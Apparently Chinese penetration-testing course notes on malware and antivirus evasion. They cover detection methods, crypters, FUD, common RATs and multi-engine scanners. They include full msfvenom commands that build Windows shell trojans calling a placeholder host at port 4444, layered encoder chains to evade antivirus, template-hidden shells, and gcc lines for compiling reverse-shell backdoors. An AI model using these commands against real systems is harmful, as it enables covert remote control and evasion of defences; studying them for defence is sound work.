恶意软件
- 病毒、木马、蠕虫、键盘记录、僵尸程序、流氓软件、勒索软件、广告程序
- 在用户非自愿的情况下执行安装
- 出于某种恶意目的:控制、窃取、勒索、偷窥、推送、攻击。
主要防护手段
- 杀毒软件/防病毒软件/
- 客户端/服务器/邮件防病毒
检测原理
- 基于二进制文件中特征签名的黑名单检测
- 基于行为的分析方法(启发式)
事后手段
- 永远落后于病毒发展
免杀技术
- 修改二进制文件中的特征字符
- 替换、擦除、修改
- 加密技术(crypter)
- 通过加密使得特征字符不可读,从而逃避AV检测
- 运行时分片分段的解密执行,注入进程或AV不检查的无害文件中
- 防病毒软件的检测
- 恶意程序本身的特征字符
- 加密器crypter的特征字符
现状
恶意软件制造者:
- 编写私有RAT软件,避免普遍被AV所知的特征字符
- 使用独有crypter软件加密恶意程序
- 处事低调,尽量避免被发现
- 没有能力自己编写恶意代码的黑客,通过直接修改特征码的方式免杀
- Fully UnDetectable是最高追求(FUD)
AV厂商
- 广泛采集样本,尽快发现新出现的程序,更新病毒库
- 一般新的恶意软件安全UD窗口期是一周左右
- 与恶意软件制造者永无休止的拉锯战
- 新的启发式检测技术尚有待完善(误杀、漏杀)
单一AV厂商的病毒库很难达到100%覆盖
- https://www.virustotal.com
- 接口被某些国家的AV软件免费利用,没有自己的病毒库
- https://www.virscan.org
- 在线多引擎查杀网站与AV厂商共享信息
- https://www.virustotal.com
其它多引擎查毒站
常用RAT软件
- 灰鸽子、波尔、黑暗彗星、潘多拉、NanoCore
反弹shell
msfvenom
- 生成木马
- 对木马进行编码、混淆
生成反弹shell
-msfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe
生成加密编码反弹shell
msfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lport=4444 -f raw -e x86/shikata_ga_nai -i 5|msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw|msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -b '\x00' -f exe -o a.exe
利用模板隐藏shell
msfvenom -p windows/shell_revirse_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe
软件保护
- 软件开发商为保护版权,采用的混淆和加密技术、避免盗版逆向
- 常被恶意软件用于免杀目的
Hyperion(32bit PE程序加密器)
- Cryter(加密)/Container(解密器+PE Loader)
自己编写后门
编译:
- Windows reverse shell
- wine gcc.exe windows.c -o windows.exe -lws2_32
- Linux shell
- gcc linux_revers_shell.c -o linux